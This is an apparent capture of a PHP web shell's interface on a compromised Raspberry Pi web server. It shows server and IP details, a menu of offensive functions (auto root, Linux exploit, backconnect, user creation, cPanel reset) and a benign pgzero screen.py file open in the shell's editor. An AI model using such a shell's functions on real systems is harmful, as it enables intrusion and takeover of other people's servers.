Linux lorencats.com 5.10.103-v7l+ #1529 SMP Tue Mar 8 12:24:00 GMT 2022 armv7l
Apache/2.4.59 (Raspbian)
: 10.0.0.29 | : 216.73.216.130
Cant Read [ /etc/named.conf ]
7.3.31-1~deb10u7
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
python3 /
dist-packages /
pgzero /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
data
[ DIR ]
drwxr-xr-x
__init__.py
204
B
-rw-r--r--
__main__.py
39
B
-rw-r--r--
actor.py
7
KB
-rw-r--r--
animation.py
5.61
KB
-rw-r--r--
builtins.py
314
B
-rw-r--r--
clock.py
5.07
KB
-rw-r--r--
constants.py
828
B
-rw-r--r--
game.py
7.45
KB
-rw-r--r--
keyboard.py
1.56
KB
-rw-r--r--
loaders.py
6.58
KB
-rw-r--r--
music.py
2.47
KB
-rw-r--r--
ptext.py
17.96
KB
-rw-r--r--
rect.py
15.43
KB
-rw-r--r--
runner.py
3.42
KB
-rw-r--r--
screen.py
3.3
KB
-rw-r--r--
soundfmt.py
2.85
KB
-rw-r--r--
spellcheck.py
4.87
KB
-rw-r--r--
tone.py
5.16
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : screen.py
import pygame import pygame.draw from . import ptext from .rect import RECT_CLASSES from . import loaders def round_pos(pos): """Round a tuple position so it can be used for drawing.""" x, y = pos return round(x), round(y) def make_color(arg): if isinstance(arg, tuple): return arg return tuple(pygame.Color(arg)) class SurfacePainter: """Interface to pygame.draw that is bound to a surface.""" def __init__(self, screen): self._screen = screen @property def _surf(self): return self._screen.surface def line(self, start, end, color): """Draw a line from start to end.""" start = round_pos(start) end = round_pos(end) pygame.draw.line(self._surf, make_color(color), start, end, 1) def circle(self, pos, radius, color): """Draw a circle.""" pos = round_pos(pos) pygame.draw.circle(self._surf, make_color(color), pos, radius, 1) def filled_circle(self, pos, radius, color): """Draw a filled circle.""" pos = round_pos(pos) pygame.draw.circle(self._surf, make_color(color), pos, radius, 0) def rect(self, rect, color): """Draw a rectangle.""" if not isinstance(rect, RECT_CLASSES): raise TypeError("screen.draw.rect() requires a rect to draw") pygame.draw.rect(self._surf, make_color(color), rect, 1) def filled_rect(self, rect, color): """Draw a filled rectangle.""" if not isinstance(rect, RECT_CLASSES): raise TypeError("screen.draw.filled_rect() requires a rect to draw") pygame.draw.rect(self._surf, make_color(color), rect, 0) def text(self, *args, **kwargs): """Draw text to the screen.""" #FIXME: expose ptext parameters, for autocompletion and autodoc ptext.draw(*args, surf=self._surf, **kwargs) def textbox(self, *args, **kwargs): """Draw text to the screen, wrapped to fit a box""" #FIXME: expose ptext parameters, for autocompletion and autodoc ptext.drawbox(*args, surf=self._surf, **kwargs) class Screen: """Interface to the screen.""" def __init__(self, surface): self.surface = surface self.width, self.height = surface.get_size() def clear(self): """Clear the screen to black.""" self.fill((0, 0, 0)) def fill(self, color): """Fill the screen with a colour.""" self.surface.fill(make_color(color)) def blit(self, image, pos): """Draw a sprite onto the screen. "blit" is an archaic name for this operation, but one that is is still frequently used, for example in Pygame. See the `Wikipedia article`__ for more about the etymology of the term. .. __: http://en.wikipedia.org/wiki/Bit_blit :param image: A Surface or the name of an image object to load. :param pos: The coordinates at which the top-left corner of the sprite will be positioned. This may be given as a pair of coordinates or as a Rect. If a Rect is given the sprite will be drawn at ``rect.topleft``. """ if isinstance(image, str): image = loaders.images.load(image) self.surface.blit(image, pos) @property def draw(self): return SurfacePainter(self)
Close